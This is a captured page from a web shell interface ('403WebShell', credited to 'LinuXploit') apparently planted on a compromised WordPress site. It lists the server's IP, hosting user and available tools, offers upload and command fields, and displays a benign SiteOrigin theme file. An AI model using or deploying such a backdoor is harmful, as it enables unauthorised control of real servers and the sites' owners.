Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.191.198.245
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/themes/siteorigin-corp/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/themes/siteorigin-corp/inc/siteorigin-panels.php
<?php
/**
 * Compatibility with Page Builder by SiteOrigin.
 *
 * @see https://wordpress.org/plugins/siteorigin-panels/
 *
 * @license GPL 2.0
 */

/**
 * Register a custom layouts folder location.
 */
function siteorigin_corp_layouts_folder( $layout_folders ) {
	$layout_folders[] = get_template_directory() . '/inc/layouts';

	return $layout_folders;
}
add_filter( 'siteorigin_panels_local_layouts_directories', 'siteorigin_corp_layouts_folder' );

/**
 * Remove Post Loop widget templates that aren't complete loops.
 */
function siteorigin_corp_filter_post_loop_widget( $templates ) {
	$disallowed_template_patterns = array(
		'template-parts/content.php',
		'template-parts/content-alternate.php',
		'template-parts/content-gallery.php',
		'template-parts/content-image.php',
		'template-parts/content-none.php',
		'template-parts/content-offset.php',
		'template-parts/content-page.php',
		'template-parts/content-search.php',
		'template-parts/content-single.php',
		'template-parts/content-video.php',
		'template-parts/content-portfolio.php',
		'template-parts/content-project.php',
	);

	foreach ( $templates as $template ) {
		if ( in_array( $template, $disallowed_template_patterns ) ) {
			$key = array_search( $template, $templates );

			if ( false !== $key ) {
				unset( $templates[$key] );
			}
		}
	}

	return $templates;
}
add_filter( 'siteorigin_panels_postloop_templates', 'siteorigin_corp_filter_post_loop_widget', 10, 1 );

Youez - 2016 - github.com/yon3zu
LinuXploit